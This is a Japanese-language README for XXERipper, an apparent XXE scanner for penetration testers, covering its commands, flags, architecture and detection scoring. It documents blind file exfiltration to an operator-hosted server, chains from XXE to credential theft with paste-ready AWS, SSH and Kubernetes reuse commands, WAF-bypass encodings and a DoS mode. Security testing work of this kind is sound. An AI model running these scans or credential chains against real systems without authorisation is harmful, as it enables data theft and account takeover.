
ブラックボックスXXEスキャナ。統計的ベースライン化、パーサーフィンガープリンティング、OOB確認により、インバンド、エラーベース、ブラインドアウトオブバンドインジェクションを検出し、SARIF出力に対応。
セキュリティプロフェッショナル向けの、スタンドアロンなブラックボックス XML External Entity (XXE) スキャナー。
XXERipper は、30 以上の攻撃手法ファミリーにわたって、インバンド、エラーベース、およびブラインドのアウトオブバンド XXE を検出します。統計的ベースライン、差分パーサーフィンガープリンティング、interactsh-client によるアウトオブバンド確認(手動または自動)、ブラウザベースのコンソール、WAF バイパスエンコーディング、エンドツーエンドのエクスプロイトチェーン検出、ペースト可能なシェルスニペットを伴う認証情報抽出、CWE マッピングされた検出結果、および CI/CD とレポーティング向けの JSON / SARIF / HTML 出力を組み合わせています。
XXERipper は、XML External Entity インジェクション向けの自己完結型 CLI およびブラウザコンソールスキャナーであり、テストが下手になりやすく、うまくテストするのが難しい脆弱性クラスを、正確かつ低い誤検知率で検出する必要があるペネトレーションテスター、バグバウンティハンター、およびセキュリティ研究者向けに設計されています。
これは意図的に最小限であり — httpx と(コンソール用の)flask のみで、他には何もありません — そしてエンドツーエンドで監査可能です。すべてのフェーズを追跡でき、すべての検出結果には証拠の軌跡が伴い、スキップされたすべての手法は理由とともに報告され、抽出されたすべてのファイルや認証情報は重複排除され、ペースト可能なエクスプロイトスニペットとともに保存されます。
XXERipper は、エンティティ解決プリミティブ自体を超えてターゲットを悪用することはありません。パーサーが外部エンティティを解決するかどうか、その結果がインバンド、パーサーエラー経由、またはアウトオブバンドで観測できるかどうかを判定し、その判定を信頼スコア、CWE マッピング、そして — 完全なチェーンが完了した場合には — エンドツーエンドの影響を明示するロールアップ検出結果とともに報告します。
ChainTracker はすべての検出結果を監視し、ID + 証拠からチェーンの段階を導出し、テンプレートが完了したときにロールアップ検出結果を発火します — XXE → IMDS → IAM credentials → AWS account takeover、XXE → SSH private key → lateral movement、XXE → Kubernetes secrets → cluster credential theft、およびさらに 10 種類。aws sts get-caller-identity、aliyun sts GetCallerIdentity、ssh -i …、gcloud auth activate-service-account、kubectl --token=…、および curl -H 'Authorization: Bearer …' — が、該当する場合はトークンの実際のクレームを用いて構築されて付属します。pip install xxeripper pip install "xxeripper[socks]" # plus SOCKS proxy support
ベースインストールでは `httpx[http2]`(ALPN 経由で HTTP/2 ネゴシエーションが有効)と `Flask`(`--serve` Web コンソールで使用)が取り込まれます。SOCKS プロキシサポートは唯一のオプションの追加機能です。HTTP/2 はオプションではなく必須機能であり、メインの依存関係リストに `httpx[http2]` として含まれています。`xxeripper[http2]` extra は純粋にユーザーの習慣のために提供されており、これをインストールすることはベースパッケージをインストールすることと同等です。
### ディストリビューションパッケージ```bash
sudo pacman -U xxeripper-1.0.0-1-any.pkg.tar.zst # Arch
sudo dpkg -i xxeripper_1.0.0-1_all.deb # Debian / Ubuntu
sudo dnf install xxeripper-1.0.0-1.fc44.noarch.rpm # Fedora / RHEL
git clone https://github.com/kamalx06/XXERipper.git cd XXERipper && pip install -e ".[socks]"
### 要件
- **Python 3.9 から 3.14。**
- **`httpx[http2]` ≥ 0.27, < 0.29** — HTTP クライアント。HTTP/2 サポートは
`httpx` の `[http2]` extra を介して取り込まれ、`h2` 依存関係も
一緒に導入されます。スキャナは TLS ハンドシェイク時に ALPN を介して
HTTP/2 をネゴシエートし、サーバーがサポートしていない場合は
サイレントに HTTP/1.1 にフォールバックします。
- **`Flask` ≥ 3.0, < 4.0** — `--serve` Web コンソールで使用されます。
これはメイン依存関係であり、オプションではありません。コンソールは
ファーストクラスのインターフェースであり、`xxeripper --serve` は
[Quick Start](#quick-start) と [Web Console](#web-console) に
記載されています。
- **オプション:** SOCKS プロキシ用の `PySocks` ≥ 1.7.1
(`xxeripper[socks]`)。
- **オプション:** 自動 OOB 確認 (`--oob-auto`) 用の `PATH` 内の
`interactsh-client`。手動 OOB モード (`--oob-domain`) には
外部依存関係はありません — `interactsh-client` を別のターミナルで
自分で実行します。
wheel には単一ファイル `xxeripper.py` が含まれています。パッケージ
ディレクトリも、コンパイル済み拡張も、インストール時のビルド手順も
ありません。CLI エントリポイントは `xxeripper = "xxeripper:main"` と
宣言されているため、`pip install xxeripper` で `xxeripper` 実行
ファイルが `PATH` に配置されます。
### オプションの extra
| Extra | 取り込まれるもの | インストールすべき場合 |
|---|---|---|
| `xxeripper[socks]` | `PySocks` ≥ 1.7.1 | `socks5h://` 経由の Tor を含む SOCKS5 プロキシを通してスキャンする場合 |
| `xxeripper[http2]` | *(新しいものはなし)* | 厳密には不要 — ベースインストールには既に `httpx[http2]` が含まれています。ユーザーの習慣のために提供 |
`[webui]` extra はありません — Flask はメイン依存関係であり、
コンソールは任意のベースインストールでそのまま動作します。
---
## Quick Start```bash
# 1. Basic scan (in-band and error-based, no OOB)
xxeripper https://target.com/api/xml
# 2. Terminal A: start interactsh-client and note the session domain
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
# 3. Terminal B: scan with OOB payloads under that domain
xxeripper https://target.com/api/xml \
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
# 4. Match the [OOB] lines from the scanner against callbacks in Terminal A
# 5. Or skip the two-terminal dance: let the scanner spawn and drive
# interactsh-client itself
xxeripper https://target.com/api/xml --oob-auto
# 6. Blind file exfiltration with the built-in DTD server
xxeripper https://target.com/api/xml \
--oob-auto --oob-listen 0.0.0.0:8888 \
--oob-public-url http://your-public-ip:8888
# 7. Launch the browser-based console instead of a CLI scan
xxeripper --serve
# [*] XXE-Ripper web console
# [*] URL: http://127.0.0.1:8080
# 8. Write a self-contained HTML report
xxeripper https://target.com/api/xml --report-html report.html
# 9. CI usage: write SARIF and fail the build on HIGH+ findings
xxeripper https://target.com/api/xml \
-o results.sarif --format sarif --fail-on high
スキャナーは、ベースライン取得、パーサーフィンガープリンティング、ペイロード生成、実行、スコアリング、チェーンロールアップ、認証情報抽出、およびレポート作成を処理します。ブラインド確認は、2ターミナルワークフロー(手動モード、デフォルト)または完全自動化されたサブプロセス駆動ワークフロー(--oob-auto)のいずれかとして利用できます。
xxeripper https://target.com/api/xml --cookie "SESSION=...; csrf=abc" xxeripper https://target.com/api/xml --cookie-file cookies.txt
xxeripper https://target.com/api/xml
--pre-auth-request login.burp --pre-auth-request csrf.burp
xxeripper -r request.txt --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper -r request.txt --oob-auto
xxeripper https://target.com/api/xml
--oob-auto
--oob-listen 0.0.0.0:8888
--oob-public-url http://198.51.100.7:8888
xxeripper https://target.com/api/xml
--oob-auto
--oob-dtd-dir /var/www/dtds
--oob-dtd-url-prefix http://198.51.100.7:8000/dtds
xxeripper https://target.com/api/xml
--payload ']>&e;'
--payload-file ./my_payloads.xml --payload-dir ./custom_xxe/
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper -u targets.txt -o results.json
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro --rate 5 --threads 10
xxeripper https://target.com/api/xml --full-file-scan
xxeripper https://target.com/ingest --svg
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper https://target.com/auth/assert --saml --oob-auto
xxeripper https://target.com/api/xml --bypass-waf all --oob-auto
xxeripper https://target.com/api/xml
--bypass-waf utf16be,utf32le,ucs4_2143,b64_uri --oob-auto
xxeripper --serve --port 8080
xxeripper https://target.com/api/xml
-o results --format both --report-html results.html
xxeripper -r request.txt --cookie "extra=token" --payload-dir ./payloads/
--oob-auto --timing --unsafe --svg --saml --full-file-scan
--bypass-waf utf16be,ebcdic,ucs4_2143
--oob-dtd-dir /var/www/dtds --oob-dtd-url-prefix http://198.51.100.7:8000/dtds
--threads 20 --rate 8 --timeout-read 20 --budget 1800
--proxy socks5://127.0.0.1:9050 --debug
-o results --format both --report-html report.html
---
## コマンドラインリファレンス
### ターゲットと出力
| オプション | 説明 |
|---|---|
| `url` (位置引数) | スキャンする単一の URL |
| `-u, --urls FILE` | URL を 1 行に 1 つずつ記述したファイル |
| `-r, --request FILE` | Burp 形式の生 HTTP リクエスト |
| `-o, --output FILE` | 結果の出力ファイル |
| `--format {json,sarif,both}` | 出力形式。デフォルト: `json` |
| `--report-html PATH` | スキャン後に自己完結型の HTML レポートを書き出す |
| `--fail-on {critical,high,medium,low,never}` | この深刻度以上の検出が存在する場合、終了コード `2` で終了する。デフォルト: `never` |
| `--debug` | 詳細な診断出力 |
### アウトオブバンド
| オプション | 説明 |
|---|---|
| `--oob-domain SESSION_DOMAIN` | **手動モード。** Interactsh-client のセッションドメイン。スキャナはこのドメイン配下にペイロードを構築し、ターゲットのサマリに各サブドメインを出力する。ポーリングは行わない — `interactsh-client` のターミナルを監視すること。`--oob-auto` とは排他的 |
| `--oob-auto` | **自動モード。** `interactsh-client` をサブプロセスとして起動し、その JSON 出力からセッションドメインを抽出し、コールバックをプロセス内で相関付ける。`PATH` に `interactsh-client` が必要。`--oob-domain` とは排他的 |
| `--oob-timeout SECONDS` | ポーリングごとの OOB 待機時間。`--oob-auto` でのみ意味を持つ。`--oob-domain` と組み合わせると引数エラーになる。手動モードは決して待機しないため。デフォルト: `8.0` |
### ブラインド外部送信
| オプション | 説明 |
|---|---|
| `--oob-listen HOST:PORT` | DTD ペイロードを配信する組み込み HTTP サーバをバインドする。`--oob-public-url` が必要。`0.0.0.0:PORT` で全インターフェースにバインド |
| `--oob-public-url URL` | 組み込み DTD サーバの公開 URL プレフィックス (例: `http://198.51.100.7:8888`)。`--oob-listen` と併用必須 |
| `--oob-dtd-dir PATH` | `--oob-listen` の代替: スキャナが DTD ファイルを書き出すディレクトリ。自身の Web サーバから配信する。`--oob-dtd-url-prefix` が必要 |
| `--oob-dtd-url-prefix URL` | `--oob-dtd-dir` に対応する公開 URL プレフィックス (例: `http://198.51.100.7:8000/dtds`) |
この 2 つのモードは実際には排他的である: ターゲットがスキャナのアドレスに到達できる場合は `--oob-listen` を、公開向け Web サーバを制御している場合は `--oob-dtd-dir` を使用する。手動 OOB モード (`--oob-domain`) は外部送信をサポートしない — 手動モードではスキャナが interactsh の出力を読まないため、外部送信された内容はオペレータのターミナルから読み取る必要がある。
### Web コンソール
| オプション | 説明 |
|---|---|
| `--serve` | CLI スキャンを実行する代わりに、ブラウザベースのコンソールを起動する |
| `--host ADDRESS` | コンソールのバインドアドレス。デフォルト: `127.0.0.1`。起動バナーは非ループバックバインドに対して警告する |
| `--port PORT` | コンソールのバインドポート。デフォルト: `8080` |
### フィンガープリントとファイルターゲティング
| オプション | 説明 |
|---|---|
| `--no-fingerprint` | パーサフィンガープリントフェーズをスキップする。ケイパビリティゲーティングが無効になり、すべてのフェーズが無条件に実行される |
| `--no-fingerprint-cache` | ディスク上のフィンガープリントキャッシュを無効化し、新規プローブを強制する |
| `--full-file-scan` | 優先サブセット (~21 パス) ではなく、Linux + Windows のファイルターゲットリスト全体 (~58 パス) を反復する |
### Cookie とペイロード
| オプション | 説明 |
|---|---|
| `--cookie STRING` / `--cookie-file FILE` | インライン Cookie、または Netscape jar / `key=value` ファイル |
| `--no-cookie-merge` | `Set-Cookie` のマージをスキップする |
| `--pre-auth-request FILE` | スキャン前に Burp 形式のリクエストを 1 回リプレイする。レスポンスの `Set-Cookie` ヘッダがスキャナの jar にマージされる。多段階認証の場合は繰り返す |
| `--payload XML` / `--payload-file FILE` / `--payload-dir DIR` | カスタムペイロード (インライン、ファイル、ディレクトリ) |
### 攻撃モード
| オプション | 説明 |
|---|---|
| `--timing` | タイミングベースのブラインド検出を有効にする |
| `--unsafe` | DoS ペイロード (Billion Laughs) を有効にする |
| `--svg` | SVG アップロードおよび multipart/DOCX/Office-XSLT フェーズを強制する |
| `--saml` | URL が SAML 形式に見えないエンドポイントでも SAML 署名前フェーズを強制する |
### WAF バイパス
| オプション | 説明 |
|---|---|
| `--bypass-waf [ENCODERS]` | コアフェーズの*後*に、選択したエンコーダを通してペイロードカタログ全体を再送信する。`all` (または値を省略) ですべてのエンコーダ、またはカンマ区切りのサブセットを指定する。有効な名前: `utf16be`, `utf16le`, `utf16decl`, `utf16nobom`, `utf32be`, `utf32le`, `ebcdic`, `ucs4_2143`, `utf8bom`, `public`, `public_charref`, `b64_uri`, `whitespace_pad`, `doctype_closure`, `pe_stager` |
| `--bypass-waf-include-custom` | スイープをユーザ提供のペイロードに拡張する。`--bypass-waf` との併用でのみ意味を持つ。`{CALLBACK}` または `{DOMAIN}` を参照するカスタムはスキップされる |
### ネットワークと安定性
| オプション | 説明 |
|---|---|
| `--proxy URL` | `http://`、`https://`、`socks5://`、または `socks5h://` |
| `--threads N` | 同時ターゲット数。デフォルト: 20 |
| `--rate R` | ターゲットあたりの 1 秒あたり最大リクエスト数。デフォルト: 無制限 |
| `--timeout-connect SECONDS` / `--timeout-read SECONDS` | デフォルト: 5.0 / 15.0 |
| `--budget SECONDS` | 実時間でのスキャン制限。デフォルト: 3600 |
| `--verify-tls` | 証明書検証を再度有効にする |
### カスタムペイロードのプレースホルダ
`{FILE}`、`{CALLBACK}`、`{DOMAIN}`、`{URL}`、`{HOST}` — ディスパッチ時に、現在のファイルターゲット、一意のコールバックサブドメイン、セッションドメイン、ターゲット URL、ターゲットホスト名で置換される。
---
## Web コンソール
コンソールは、スキャンを実行および検査するためのブラウザベースのワークベンチであり、`--serve` を介して同じバイナリから提供される。```bash
xxeripper --serve
# [*] XXE-Ripper web console
# [*] URL: http://127.0.0.1:8080
# [*] 127.0.0.1 by default. Do NOT expose to untrusted networks.
# [*] OOB auto mode available via the WebUI
# (interactsh-client will be spawned on first use).
コンソールはデフォルトでループバックにバインドされ、認証はありません。--host で再バインドすると明示的な警告が表示されます。リモートアクセスが必要な場合は、認証付きのリバースプロキシを前段に配置してください。
3ペインのワークベンチ:
exfiltrated ブロック。⌘K / Ctrl+K を押すと、コマンド、ターゲット、検出を横断するファジー検索ができます。検出はパレット内で深刻度を色付きピルとして表示します。
ブラウザからすべての CLI フラグに完全アクセス: URL または Burp リクエスト、OOB モード (手動ドメインまたは自動)、2つの相互排他的なオプション (WebUI ホスト型 DTD サーバーと公開 URL フィールド、または DTD ディレクトリと外部配信用の URL プレフィックス) を備えた Blind exfiltration セクション、プロキシ、Cookie、レート、バジェット、タイムアウト、スレッド、カスタムペイロード、ペイロードファイル、事前認証リクエスト、およびスキャンオプション用のチェックボックスグリッド。WAF バイパスセクションは15個のエンコーダすべてを個別のチェックボックスとして公開し、さらに「Toggle all」ボタンも備えています。エンコーダグリッドと include-custom チェックボックスの両方は、ドロワーが閉じるたびにオフにリセットされるため、バイパスがスキャン間で暗黙に引き継がれることはありません。
ドロワーで Auto OOB mode にチェックを入れると、サーバープロセスのライフタイム中に1つの interactsh-client が生成されます。これは最初の auto-OOB ジョブで遅延生成され、以降は再利用されます。複数の同時ジョブはセッションドメインを共有しますが、独立したトークンセットを維持するため、コールバックはターゲットごとに正しく帰属されます。受信したコールバックは到着時にサーバーのターミナルに出力されます。
CLI 側の DTD ホスティングオプションに加えて、WebUI は自身の Flask ルートから DTD を配信できます。ドロワーで Serve DTDs from this WebUI にチェックを入れ、WebUI に到達可能な公開 URL を指定すると、スキャナはコンソールを実行しているのと同じ Flask プロセス上の /dtd/<token>.dtd に DTD を登録します。2つ目のターミナルも、python -m http.server も、別個のディレクトリも不要です。
これはターゲットが WebUI のバインド先アドレスに到達できる場合に機能します。コンソールを公開 URL プレフィックス付きで 0.0.0.0 にバインドすれば、WebUI は完全に自己完結した exfiltration サーバーになります。ターゲットがリモートで WebUI がそうでない場合は、代わりに CLI の --oob-dtd-dir モードを使用してください。スキャナが DTD ファイルをディレクトリに書き込み、あなたがそのディレクトリを nginx や Apache から配信し、WebUI が同じスキャンプロセスを通じて結果を読み戻します。
完了したすべてのジョブには、ツールバーに3つのダウンロードボタンがあります:
--format json とバイト単位で同一。--format sarif とバイト単位で同一。Content-Disposition: attachment を使用)。Content-Disposition: inline を使用)。同じファイル、2つの挙動、2つのボタン。
実行中のジョブはコンソールからキャンセルできます。キャンセルは協調的です。ジョブの ScanContext にシグナルが送られ、各フェーズが各ペイロード送信前にそれをチェックします。並行実行スロットを待っているジョブは、開始される前にキャンセルできます。
XXERipper は、少数の組み合わせ可能なコンポーネントを備えた単一ファイルのオーケストレーターです。プラグインシステムも、設定 DSL も、ディスク上のフィンガープリントキャッシュ以外の外部状態もありません。``` ┌─────────────────────────────────────────────────────────────┐ │ Entry points │ │ ─ CLI (argparse) ─ Web console (Flask + single HTML) │ └──────────────────────────┬──────────────────────────────────┘ │ ┌──────────▼──────────┐ │ ScanJob │ │ (web) │ │ scan_target (cli) │ └──────────┬──────────┘ │ ┌──────────────────┼──────────────────┐ │ │ │ ┌────▼────┐ ┌────▼────┐ ┌────▼────┐ │Session │ │Cookie │ │OOBClient│ │(httpx, │ │Manager │ │/ Inter- │ │ HTTP/2) │ │ │ │actshMgr │ └────┬────┘ └─────────┘ └────┬────┘ │ │ │ ┌──────▼───────┐ │ │DTDServer / │ │ │FileDTDWriter │ │ │WebUIDTDServer│ │ └──────────────┘ │ ┌────▼───────────────────────────────────────────────┐ │ XXEDetector │ │ │ │ 1. Baseline capture (StatisticalBaseline) │ │ 2. Parser fingerprint (ParserFingerprint, cache) │ │ 3. Phase execution (ordered, isolated, budgeted)│ │ │ │ ┌────────────┐ ┌────────────┐ ┌──────────────┐ │ │ │Accuracy │ │Chain │ │LootStore / │ │ │ │Engine │◄─┤Tracker │ │Credential │ │ │ │(score, veto│ │(stage │ │Extractor / │ │ │ │ classify) │ │ rollup) │ │FileExtractor │ │ │ └────────────┘ └────────────┘ └──────────────┘ │ └────────────────────────────────────────────────────┘ │ ┌──────────▼──────────┐ │ Reporters │ │ JSON · SARIF · HTML│ └─────────────────────┘
### コンポーネント
| コンポーネント | 役割 |
|---|---|
| `build_session` | HTTP/2 ネゴシエーション、コネクションプーリング、オプションのプロキシ、リクエストごとのヘッダー注入を備えた `httpx.Client` を構築する |
| `CookieManager` | インライン文字列、Netscape ジャー、`key=value` ファイル、Burp ヘッダーからの Cookie をマージする。オプションで全レスポンスから `Set-Cookie` を吸収する |
| `CustomPayloadLoader` | インライン文字列、ファイル(`---` 区切りまたは `<?xml` 境界)、ディレクトリからユーザーペイロードを読み込み、分割し、正規化する |
| `OOBClient` | 相関サブドメインを生成し、保留中のトークンを追跡し、観測をディスパッチし、ライブの `InteractshManager` に対してコールバックを相関させる。手動モードと自動モードで同一に動作する |
| `InteractshManager` | `interactsh-client -json -v` を起動して読み取り、セッションドメインを抽出し、スレッドセーフなコールバックリストを公開する |
| `DTDServer` | ブラインド流出 DTD ペイロード用の組み込み HTTP サーバー。`--oob-listen` でバインドされる。オンデマンドで `<token>.dtd` を配信する |
| `FileDTDWriter` | オペレーターが外部で配信するディレクトリに DTD ファイルを書き込む。`--oob-dtd-url-prefix` と組み合わせて使用する |
| `WebUIDTDServer` | WebUI がホストする DTD ルートを支える。プロセス全体の dict に DTD を登録し、`/dtd/<token>.dtd` 配下の URL を返す |
| `OOBExfilExtractor` | interactsh コールバックオブジェクトを解析し、HTTP リクエストのパス/クエリおよび DNS サブドメインラベルから流出データを抽出する |
| `ParserFingerprint` | 対になったテスト/コントロールプローブを送信し、エラーテキストを 11 のシグネチャファミリーと照合し、`capabilities` dict を生成する |
| `StatisticalBaseline` | 7 つの良性サンプルを取得し、中央値の長さ、経過時間、ステータス、ボディハッシュ、中央値シャノンエントロピー、ウィンドウエントロピー、IQR、p95 を計算する |
| `AccuracyEngine` | 候補レスポンスをベースラインに対してスコアリングし、拒否条件と重みを適用し、重大度を分類する |
| `XXEPayloadGenerator` | すべてのテクニックファミリーに対してペイロード文字列とバイトを返す純粋関数 |
| `XXEDetector` | オーケストレーター:ヘッダーを構築し、フェーズを実行し、精度エンジンを呼び出し、検出結果を記録し、ルートおよびチェーンサブシステムを駆動する |
| `ChainTracker` | 検出 ID と証拠から導出されたチェーンステージを記録し、テンプレートが完了したときにロールアップ検出を発火する |
| `LootStore` | 抽出されたファイルとシークレットのスレッドセーフで重複排除されたリポジトリ。デフォルトではディスクに何も永続化しない |
| `CredentialExtractor` | AWS IAM JSON および INI、Alibaba RAM、SSH 秘密鍵、GCP サービスアカウント、OAuth アクセストークン、Kubernetes サービスアカウントトークン、汎用ベアラーの正規表現ベースの抽出。それぞれに貼り付け可能なシェルスニペット付き |
| `FileContentExtractor` | レスポンスボディからの生ファイルコンテンツのタイプ別抽出(`/etc/passwd`、`/etc/shadow`、SSH 鍵、`.env`、`web.config`、`win.ini`、`system.ini`、`boot.ini`、`/proc` ファイル)。汎用構造フォールバック付き |
| `ScanContext` | 実時間のデッドラインと協調的キャンセル。すべてのフェーズが各送信前にこれをチェックする |
| `RateLimiter` | ターゲットごとのリクエスト間に最小間隔を強制する。`--threads` とは独立 |
| `ScanContext` | 実時間のデッドラインと協調的キャンセル。すべてのフェーズが各送信前にこれをチェックする |
| `RateLimiter` | ターゲットごとのリクエスト間に最小間隔を強制する。`--threads` とは独立 |
### スキャンワークフロー
1. **プリフライト。** Cookie ジャーが構築される。事前認証リクエスト(存在する場合)がリプレイされ、その `Set-Cookie` ヘッダーがマージされる。カスタムペイロードが読み込まれる。`ScanContext` のデッドラインが設定される。
2. **ベースライン取得。** 7 つの良性 `POST` リクエストが送信される。中央値の長さ、経過時間、ステータスコード、ボディハッシュ、エントロピー、IQR、p95 が計算される。
3. **フィンガープリント。** 9 つのケイパビリティプローブがターゲットに対して実行される。プローブからのエラーテキストがパーサーシグネチャと照合される。結果はディスクにキャッシュされる(`--no-fingerprint-cache` を除く)。
4. **コアフェーズ。** インバンドファイル読み取り、JSON から XML への切り替え、コンテンツタイプマトリックス、メソッドバリエーション、クエリパラメータインジェクション、SSRF、クラウドメタデータ、RCE ラッパー、エラーベース。
5. **OOB 依存フェーズ。** DNS のみ、外部 DTD、パラメータエンティティ OOB、CDATA バイパス、XInclude バリアント、XSLT/XSD フェッチャー、`xml-stylesheet` PI、マルチパート、DOCX、フォームエンコード。
6. **バイパスと代替シンク。** エンコーディングバイパス、XInclude、SVG アップロード、SAML/SOAP エンベロープ、SAML 署名前。
7. **オプトインフェーズ。** タイミングベースのブラインド(`--timing`)、DoS(`--unsafe`)。
8. **Office ドキュメントおよび YAML フェーズ。** DOCX/XLSX パーツ内の `xml-stylesheet` PI、および PyYAML / SnakeYAML デシリアライゼーションプローブ。
9. **カスタムペイロード。** 各ユーザーペイロードがすべてのファイルターゲットに対してテストされる。
10. **WAF バイパス(オプション)。** `--bypass-waf` が設定されている場合、ペイロードカタログ全体が選択されたすべてのエンコーダーを通じて再送信される。コアフェーズの*後*に実行されるため、エンコードされたスイープの前に直接ヒットが見つかる。
11. **チェーンロールアップ。** `ChainTracker.emit_rollup_findings()` が完了したテンプレートを走査し、完了ごとにロールアップ検出を発行する。
12. **レポート。** 結果は JSON、SARIF、および/または自己完結型 HTML にシリアライズされる。
すべてのフェーズは `_run_phase` 内で実行され、例外をキャッチし、`--debug` でトレースバックをログに記録し、次のフェーズに進む。クラッシュ前に発行された検出結果は失われることがない。
---
## フィンガープリンティング手法
フィンガープリントフェーズは 2 つの問いに答える:**どの XML スタックが実行されているか**、そして**どのエンティティ解決ケイパビリティが公開されているか**。どちらもフェーズ選択を駆動する — DOCTYPE を完全に拒否するターゲットに対してローカル DTD スイープを実行する必要はない。
### ケイパビリティプローブ
9 つの対になったプローブ。それぞれにテストペイロードとコントロールペイロードがある:
| ケイパビリティ | テスト | 成功条件(テストが合格し、コントロールが合格しない) |
|---|---|---|
| `dtd_allowed` | 要素宣言を含む良性 DOCTYPE | `200`、マーカー文字列が存在 |
| `dtd_entity_syntax_accepted` | エンティティ宣言を含む DOCTYPE(未使用) | `200`、マーカーが存在 |
| `dtd_parsed_but_not_resolved` | エンティティを宣言して参照する DOCTYPE | `200`、生の `&x;` が見える(パーサーが未展開のまま保持) |
| `internal_entity` | 内部エンティティが展開される | `200`、マーカーが存在、`&x;` が存在しない |
| `external_file` | `SYSTEM "file:///etc/hostname"` | `200`、出力がホスト名のように見え、マークアップなし、生のエンティティなし |
| `parameter_entity` | 内部パラメータエンティティステージャー | `200`、`PE_MARKER` が存在、`&inner;` が存在しない |
| `external_dtd` | `SYSTEM "http://127.0.0.1:1/nonexistent.dtd"` | `5xx`、または `Connection refused` / `Failed to load` / `IO error` が存在 |
コントロールは同じリクエストでボディが良性のもの。ケイパビリティは、テストの成功述語が合格し、**かつ**コントロールのそれが合格しない場合にのみ `True` とマークされる。これによりフィンガープリントはパターンマッチングではなく差分ベースになる — 常に `200 OK` を返すターゲットが「DTD 許可」と誤って報告することはできない。
### シグネチャマッチング
プローブからのレスポンスボディ(および任意の `5xx` レスポンスボディ)がエラーテキストバッファに蓄積される。そのバッファが 11 のシグネチャファミリーと照合される:
| ファミリー | 代表的な文字列 |
|---|---|
| `libxml2` | `lxml.etree.XMLSyntaxError`、`xmlParseEntityRef`、`Failed to load external entity`、`Premature end of data in tag` |
| `xerces` | `org.apache.xerces`、`com.sun.org.apache.xerces`、`SAXParseException`、`was referenced, but not declared`、`cvc-elt.` |
| `dotnet` | `System.Xml.XmlException`、`System.Xml.XmlReader`、`An error occurred while parsing EntityName`、`DTD is prohibited` |
| `java_sax` | `org.xml.sax.SAXParseException`、`DocumentBuilder`、`JAXP00010001`、`AccessExternalDTD`、`disallow-doctype-decl` |
| `java_stax` | `javax.xml.stream.XMLStreamException`、`IS_SUPPORTING_EXTERNAL_ENTITIES`、`woodstox`、`com.ctc.wstx` |
| `python_etree` | `xml.etree.ElementTree.ParseError`、`xml.parsers.expat.ExpatError`、`undefined entity`、`not well-formed (invalid token)` |
| `php_libxml` | `Warning: DOMDocument::load`、`SimpleXMLElement::__construct():`、`DOMException:` |
| `ruby` | `REXML::ParseException`、`Nokogiri::XML::SyntaxError`、`The entity expansion has been blocked` |
| `node` | `ExpatError`、`xml2js`、`libxmljs`、`fast-xml-parser`、`Unexpected close tag` |
| `perl` | `XML::LibXML`、`XML::Parser`、`XML::Twig`、`Couldn't parse` |
| `go` | `encoding/xml`、`XML syntax error on line`、`xml: cannot unmarshal` |
最も多くのヒットを持つファミリーが勝つ。`libxml2` ファミリーは意図的に最大である — lxml の例外クラス、基盤となる C 関数名、libxml2 の人間が読める診断がすべてカウントされるため、lxml を使用するターゲットは Python の標準ライブラリ `etree`(これは expat であり、代わりに `python_etree` ファミリーにマッチする)を使用するターゲットと確実に区別される。
### ディスク上のキャッシュ
フィンガープリント結果は `~/.cache/xxeripper/fingerprints.json` にキャッシュされ、ターゲット URL をキーとする。キャッシュエントリには、勝ったパーサー名、完全なケイパビリティ dict、タイムスタンプが保存される。同じ URL の再スキャンはプローブフェーズを完全にスキップする。
キャッシュは、ターゲットの XML スタックが変更されない限り、実行間で安定している。CI では、`HOME` を永続化されたキャッシュディレクトリに向けて、毎回のプローブリクエストを節約する。ファイルを削除するか `--no-fingerprint-cache` を渡して無効化する。
### ケイパビリティゲーティング
2 つのフェーズがフィンガープリント結果を消費する:
- **インバンドファイル読み取り** — フィンガープリントが成功し、`internal_entity`、`external_file`、`external_dtd`、`parameter_entity`、`dtd_allowed` のすべてにわたってエンティティ解決ケイパビリティがないと報告された場合にスキップされる。
- **エラーベースのローカル DTD スイープ** — 同じゲート。不正なエンティティのサブテクニックは、ローカル DTD をまったく必要としないスタック(Xerces、.NET)で成功するため、関係なく実行される。
ゲートはフィンガープリントが*成功した*場合(つまり、少なくとも 1 つのケイパビリティが `True` で、勝ったパーサファミリーが存在する)にのみ発火する。すべて `False` を返したフィンガープリント — ターゲットが XML をまったく解析しない場合に発生する — は「不明」として扱われ、フェーズは無条件に実行される。これにより、設定ミスのあるフィンガープリントが実際の検出結果を抑制するという失敗モードを回避する。
`--no-fingerprint` を渡してフェーズとゲートを完全に無効化する。
---
## 検出手法
検出パイプラインは意図的に階層化されている。各層は拒否条件または重みであり、それぞれが防ぐように設計された特定の失敗モードを持つ。
### レイヤー 1 — 統計ベースライン
攻撃ペイロードの前に 7 つの良性 `POST` リクエストが送信される。それらのサンプルから:
- **中央値ボディ長** — 長さデルタスコアリングに使用。
- **中央値経過時間**と **IQR** — タイミング異常スコアリングに使用。
- **最頻ステータスコード** — ステータスシフトスコアリングに使用。
- **最も一般的なボディハッシュ** — 無変化拒否条件に使用。
- **ボディ全体の中央値シャノンエントロピー** — 下限の健全性チェックとして使用。
- **256 バイトウィンドウの中央値ウィンドウエントロピー** — エントロピー異常スコアに使用。
- **すべてのサンプルボディの和集合** — ベースラインに固定されたパーサーエラーチェックに使用。
ベースライン統計がアンカーである。その後のすべてのスコアリング決定は、固定しきい値ではなく、このベースラインに対して候補レスポンスを比較する。
### レイヤー 2 — 拒否条件
拒否条件はスコアリングの前に明らかなノイズを拒否する。2 つはハード、1 つはソフト。
**リフレクション拒否条件(ハード、−100)。** レスポンスボディにペイロードの 40 文字の部分文字列が含まれる場合(URL デコードと空白正規化の後)、ペイロードはエンティティ解決なしでそのままエコーされた。これはナイーブなスキャナーにおける偽陽性の最も一般的な原因である — 入力をエコーするすべての「XML パーサーをテストする」エンドポイントは、そうでなければ脆弱に見えるだろう。
**ソフトリフレクションペナルティ(−30)。** リフレクションが検出されたが、レスポンスが*また*強いシグナル(ファイルフィンガープリント、相関 OOB コールバック、チェーン整合性、または高信頼度のパーサーエラー)を持つ場合、ハード拒否条件は −30 のペナルティに格下げされる。これは、実際のファイル読み取りが、リクエストの一部をエコーするページ内に埋め込まれているケースを処理する。
**無変化拒否条件(ハード、−50)。** レスポンスボディがベースラインの最も一般的なボディハッシュとバイト単位で同一である場合、ペイロードは何も変更しなかった。`strong_signal` はこれを拒否条件なしの通常スコアに格下げする。
